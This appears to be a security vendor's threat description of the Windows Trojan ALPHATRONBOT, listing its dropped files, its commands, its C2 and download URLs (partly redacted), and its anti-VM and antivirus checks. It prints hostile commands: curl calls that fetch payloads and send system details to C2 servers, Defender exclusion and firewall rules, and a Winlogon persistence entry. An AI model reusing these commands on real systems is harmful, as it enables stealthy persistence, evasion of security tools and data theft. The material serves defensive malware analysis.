Trojan.Win64.ALPHATRONBOT.A

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to certain websites to send and receive information.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

• %User Temp%\{8 Random Characters}.bat → deleted afterwards
• %User Temp%\qb{Random Characters}.{2 Random Characters}\cnf → deleted afterwards
• %User Temp%\cnf → deleted afterwards
• %User Temp%\log01.log
• %system%\curl.exe → if not existing
• %User Temp\v.7z → deleted afterwards
• %User Temp\v.bat → deleted afterwards
• %User Temp%\NetFramework.4.8.7z → deleted afterwards
• %AppDataLocal%\google\chrome\user data\{Benign Component Files}
• %AppDataLocal%\google\chrome\user data\Windows Driver Foundation (WDF).exe → ALPHATRONBOT malware
• %AppDataLocal%\google\chrome\user data\wzone.exe
• %AppDataLocal%\google\chrome\user data\r01.txt → file attribute set to Hidden and System, deleted afterwards
• %User Temp%\NetFramework.3.5.7z → deleted afterwards
• %AppDataLocal%\google\chrome\user data\VC_redist.x86.exe
• %AppDataLocal%\google\chrome\user data\wtime.cmd
• %AppDataLocal%\google\chrome\user data\com.information.googlegmail.ini → copied to %AppDataLocal%\googledrive\googleemail\com.information.googlegmail.ini

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

• cmd.exe /c ""%User Temp%\{8 Random Characters}.bat" "{Malware File Path}\{Malware File Name}"
• %System%\cmd.exe /c wmic path win32_LocalTime Get Day,Month,Year /value
• wmic path win32_LocalTime Get Day,Month,Year /value
• %System%\cmd.exe /c tasklisti "imagename eq SbieSvc.exe"o csv /nh
• tasklist i "imagename eq SbieSvc.exe"o csv /nh
• reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Alu" /s /reg:32
• reg Add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Alu" /reg:32
• %System%\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation /v SystemProductName"
• reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation /v SystemProductName"
• %System%\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current /v SystemProductName"
• reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current /v SystemProductName"
• %System%\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current /v SystemManufacturer"
• reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current /v SystemManufacturer"
• curl https://ipinfo.io/ip -k
• curl https://ipinfo.io/country -k
• %System%\cmd.exe /c wmic os get caption
• wmic os get caption
• curl https://{Predetermined Domain}.com/parking/drive.php --user-agent "ubertax" -k
• curl https://{Predetermined Domain}.com/parking/uber.php
• curl -k https://c.{Domain from C2 Server}.com/c01.php --user-agent "c010101"
• %User Temp\v.bat
• find /i "TTL="
• powershell add-mppreference -exclusionprocess '%AppDataLocal%\google\chrome\user data\wzone.exe'
• powershell add-mppreference -exclusionpath '%AppDataLocal%\google\chrome\user data\wzone.exe'
• powershell add-mppreference -exclusionprocess '%AppDataLocal%\google\chrome\user data\windows driver foundation (wdf).exe'
• powershell add-mppreference -exclusionpath '%AppDataLocal%\google\chrome\user data\windows driver foundation (wdf).exe'
• netsh advfirewall firewall add rule name="windows defender" dir=in action=allow program="%AppDataLocal%\google\chrome\user data\windows driver foundation (wdf).exe
• curl -k -o "%User Temp%\NetFramework.4.8.7z" -L -C - "https://z.{BLOCKED}ara.com/v/NetFramework.4.8.7z" --user-agent "cndrvpn201" --retry 3
• %AppDataLocal%\google\chrome\user data\wzone.exe "%AppDataLocal%\google\chrome\user data\wtime.cmd" wlocale.cmd
• %AppDataLocal%\google\chrome\user data\wtime.cmd wlocale.cmd
• ping -n 3 127.0.0.1>nul
• powercfg /change standby-timeout-ac 0
• powercfg /change standby-timeout-dc 0
• reg add "HKLM\Software\Microsoft\Windows NT\Currentversion\Winlogon" /v shell /t reg_sz /d "explorer.exe, \"%AppDataLocal%\google\chrome\user data\wzone.exe\" \"%AppDataLocal%\google\chrome\user data\wtime.cmd\" wlocale.cmd" /f
• curl -k -L "https://z.{BLOCKED}ta.com/cu/cu_s.php?ip={System's External IP}&vos={System's Windows Version}&cid={System's Country}&sid=rwinda&ip_id={Device ID}&s=1" --user-agent "cnfvp201"
• powershell remove-mppreference -exclusionprocess '%Windows%\wudf.exe'
• powershell remove-mppreference -exclusionpath '%Windows%\wudf.exe'
• curl -k -o "%User Temp%\NetFramework3.5.7z" -L -C - "https://z.{BLOCKED}ta.com/v/NetFramework3.5.7z" --user-agent "cnfvp201" --retry 3
• ping -n 10 127.0.0.1 >nul
• ping -n 5 127.0.0.1 >nul
• %AppDataLocal%\google\chrome\user data\VC_redist.x86.exe
• %AppDataLocal%\google\chrome\user data\Windows Driver Foundation (WDF).exe

It creates the following folders:

• %User Temp%\qb{Random Characters}.{2 Random Characters} → deleted afterwards
• %AppDataLocal%\google\chrome\user data → if not existing
• %AppDataLocal%\GoogleDrive\GoogleEmail → file attribute set to Hidden and System

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Trojan modifies the following registry entries to ensure it automatic execution at every system startup:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\Currentversion\Winlogon
shell = "explorer.exe, "%AppDataLocal%\google\chrome\user data\wzone.exe" "%AppDataLocal%\google\chrome\user data\wtime.cmd\" wlocale.cmd

Other System Modifications

This Trojan deletes the following files:

• %Windows%\WinRar.7z
• %Windows%\72201.exe
• %Windows%\wudf.exe
• %AppDataLocal%\google\chrome\user data\com.information.googlegmail.ini
• %Windows%\wudf.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following registry entries as part of its installation routine:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
Alu =

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
EnableLUA = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
ConsentPromptBehaviorAdmin = 5

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
PromptOnSecureDesktop = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
ConsentPromptBehaviorUser = 3

Process Termination

This Trojan terminates the following malware-related processes:

• %AppDataLocal%\google\chrome\user data\Windows Driver Foundation (WDF).exe

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

• https://z.{Domain from C2 Server}.com/v.7z
  where Domain from C2 Server is the following as of this writing:
  • {BLOCKED}ta
• https://{BLOCKED}.com/cloud1cybertron/wincurl/raw/main/curl.exe
• https://{BLOCKED}loud.net/cu/curl.exe → as of this writing, the said site is inaccessible
• https://z.{BLOCKED}ata.com/v/NetFramework.4.8.7z
• https://z.{BLOCKED}ta.com/v/NetFramework.3.5.7z

Information Theft

This Trojan gathers the following data:

• Product name
• System manufacturer
• System's country based on external IP address
• System's Windows version
• System's external IP address

Other Details

This Trojan connects to the following URL(s) to get the affected system's IP address:

• https://ipinfo.io/ip
• https://ipinfo.io/country → country where external IP address is located

It connects to the following website to send and receive information:

• https://{Predetermined Domain}.com/parking/drive.php
• https://{Predetermined Domain}.com/parking/uber.php
  where Predetermined Domain can be:
  • {BLOCKED}xi8858
  • {BLOCKED}xi885868788
  • {BLOCKED}5868888
• https://c{Domain from C2 Server}.com/c01.php
  where Domain from C2 Server is the following as of this writing:
  • {BLOCKED}ta
• https://z.{BLOCKED}ta.com/cu/cu_s.php?ip={System's External IP}&vos={System's Windows Version}&cid={System's Country}&sid=rwinda&ip_id={Device ID}&s=1

It does the following:

• It only proceeds with its behavior if %User Temp%\log01.log exists
• It does not proceed with its behavior if current system date is February 20 - 21 and current year ends with 24.
• It terminates itself if the following anti-sandbox and anti-vm routines are successful:
  • Checking if SbieSvc.exe is running
  • Idenitfying the product name through the registry and checking if it is one of the following:
    • KVM
    • VirtualBox
    • Virtual Machine
  • Identifying the system macnufacturer through registry and checking if it is the following:
    • VMWare, Inc.
• It terminates itself if one the following antivirus processes is running on the system:
  • ekrn.exe (ESET)
  • QHActiveDefense.exe (Qihoo 360)
  • avp.exe (Kaspersky)
• It terminates and deletes itself if the following conditions are met:
  • %AppDataLocal%\google\chrome\user data\windows driver foundation (wdf).exe already exists
  • The country code of affected system's external IP address is one of the following:
    • IR (Iran)
    • IQ (Iraq)
    • AE (United Arab Emirates)
    • MM (Myanmar)
• It sets the attributes of the following folders to Hidden and System if it exists:
  • %AppDataLocal%\google
  • %USERPROFILE%\.temp
  • %AppDataLocal%\GoogleDrive\GoogleEmail

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)